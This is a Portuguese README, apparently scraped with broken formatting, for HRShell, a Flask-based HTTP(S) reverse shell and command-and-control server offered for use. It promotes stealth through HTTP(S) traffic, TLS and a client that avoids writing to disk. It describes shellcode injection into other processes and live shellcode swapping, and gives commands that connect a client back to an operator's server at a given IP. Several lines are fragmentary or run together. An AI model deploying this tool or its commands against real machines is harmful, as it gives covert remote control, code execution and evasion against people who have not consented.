
HRShell é um reverse shell HTTPS/HTTP construído com flask. É um servidor C2 avançado com muitos recursos e capacidades.
HRShell é um reverse shell HTTPS/HTTP construído com Flask e é compatível com python 3.x. O client.py foi testado com sucesso em:
enquanto o server.py é compatível com sistemas Unix (suporte para Windows em breve...)
migrate <PID>) especificando seu PID
cd e variantes).history interativo disponível em sistemas Unix.download/upload/screenshot/hex disponíveis.|) e comandos encadeados (;) são suportados*Para mudanças de versão, confira CHANGELOG.
HRShell é furtivo pois usa o protocolo HTTP(S) como método de comunicação entre cliente e servidor. Além disso, quando TLS está em uso, o tráfego também é criptografado. Além disso, se o CERT não estiver codificado manualmente no lado do cliente (o que é uma opção viável) e o comando upload não for usado, então o client.py não toca no disco.
Server-side:
A menos que a opção --http seja especificada, por padrão o server.py é HTTPS usando certificados on-the-fly, já que certificados on-the-fly são uma funcionalidade embutida do Flask. Mas se a opção -s tornado for especificada para fazer o servidor usar TLS, as opções --cert e --key devem ser especificadas como a seguir:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
Ou podem ser usados certificados "reais" ou outra maneira de gerar um par cert/key é, por exemplo, usando mkcert ou openssl diretamente assim:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
Um par cert/key também pode ser usado com o flask-server:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ Se o servidor estiver usando TLS, por design o cliente não pode usar
http://...para conectar ao servidor, mas deve usar explicitamentehttps.
Client-side: Por padrão, a verificação SSL do cliente está desabilitada, a menos que:
--cert seja especificado, por exemplo:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT, em vez do valor padrão None, seja definida previamente com um certificado válido, por exemplo:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
⚠️ O fato de a verificação SSL estar desabilitada por padrão no cliente não significa que o TLS também está desabilitado, o TLS será ativado se o servidor o usar - então o TLS depende completamente do servidor. A opção
--certno cliente está lá apenas como uma forma alternativa de o servidor-cliente ter uma sessão criptografada e é só.
Existem dois "modos" de injeção de shellcode usando os dois comandos a seguir respectivamente:
migrate <PID>: Usando este comando podemos injetar shellcode no espaço de memória de outro processo especificando seu PID. Por enquanto, este comando só pode ser aplicado em plataformas Windows x86/x64!
inject shellcode: Usando este comando, uma nova thread (ou processo gerado em sistemas unix) do nosso processo atual é criada e a injeção de shellcode ocorre em seu espaço de memória. Como resultado, nosso shell HTTP(S) não é afetado pela injeção. As plataformas onde este comando pode ser aplicado são: Unix x86/x64, Windows x86!
Há duas maneiras de especificar/definir qual tipo de shellcode você deseja que o cliente execute:
shellcode no script client.py para ser um shellcode válido ouset shellcode <shellcode-id> para fazer isso em tempo real. Com este comando, você pode atualizar seu shellcode no lado do cliente a partir do servidor quantas vezes quiser!
A primeira maneira é bastante direta. No entanto, para usar a segunda e mais conveniente (já que você também pode modificar um shellcode já especificado), você precisa configurar o script shellcodes/utils.py para que ele contenha o(s) shellcode(s) de sua escolha. O script contém um exemplo de como fazer isso.
💡 Você pode modificar/atualizar o script
shellcodes/utils.pymesmo depois de ter iniciado oserver.pyquantas vezes quiser, pois oserver.pyusará dinamicamente a versão mais atualizada/recente. Dessa forma, você pode definir e modificar shellcodes em tempo real...
Comandos especiais:
Qualquer outro comando é suportado se não for interativo, por exemplo, gdb, top etc... Além disso, digitando python server.py -h ou python client.py -h você pode obter informações sobre os argumentos disponíveis do servidor e do cliente.
Nota: Se um cliente estiver conectado ao servidor e quisermos encerrar o servidor, antes de pressionar CTRL+C, temos que fechar a conexão usando o comando exit.
Lado do cliente:
Para criar um comando personalizado, geralmente:
elif também no lado do cliente.Lado do servidor:
Se o comando exigir a existência de um novo endpoint no lado do servidor, então:
@app.route('/custom_endpoint/<arg>')
def custom_endpoint(arg):
"""
documentation if needed
"""
...
return ...
handleGET() para redirecionar o cliente para esse endpoint:
@app.route('/')
def handleGET():
...
return redirect(url_for('custom_endpoint',
arg=...)
)
handlePOST() para lidar com a apresentação dos resultados.Ambos os scripts (server.py e client.py) podem ser personalizados através de argumentos:
server.py
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]
server.py: An HTTP(S) reverse-shell server with advanced features.
arguments:
-h, --help show this help message and exit
-s , --server Specify the HTTP(S) server to use (default: flask).
-c , --client Accept connections only from the specified client/IP.
--host Specify the IP to use (default: 0.0.0.0).
-p , --port Specify a port to use (default: 5000).
--http Disable TLS and use HTTP instead.
--cert Specify a certificate to use (default: None).
--key Specify the corresponding private key to use (default: None).
client.py
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]
client.py: An HTTP(S) client with advanced features.
arguments:
-h, --help show this help message and exit
-s , --server Specify an HTTP(S) server to connect to.
-c , --cert Specify a certificate to use.
-p , --proxy Specify a proxy to use [form: host:port]
Para instalar os requisitos do servidor:
pip install -r requirements.txt --upgrade --user
Feedbacks e contribuições são bem-vindos. Se você encontrar algum bug ou tiver uma solicitação de funcionalidade, sinta-se à vontade para abrir uma issue, e assim que eu revisar, tentarei corrigi-la.
Esta ferramenta é apenas para fins de teste e acadêmicos e só pode ser usada onde houver consentimento estrito. Não a use para fins ilegais! É de responsabilidade do usuário final obedecer todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta e software em geral.
hexdump do cliente foi retirada deste ótimo gist.Este projeto está licenciado sob a licença GPLv3 - consulte o arquivo LICENSE para mais detalhes.
gunicornserver.py quanto client.py são facilmente extensíveis.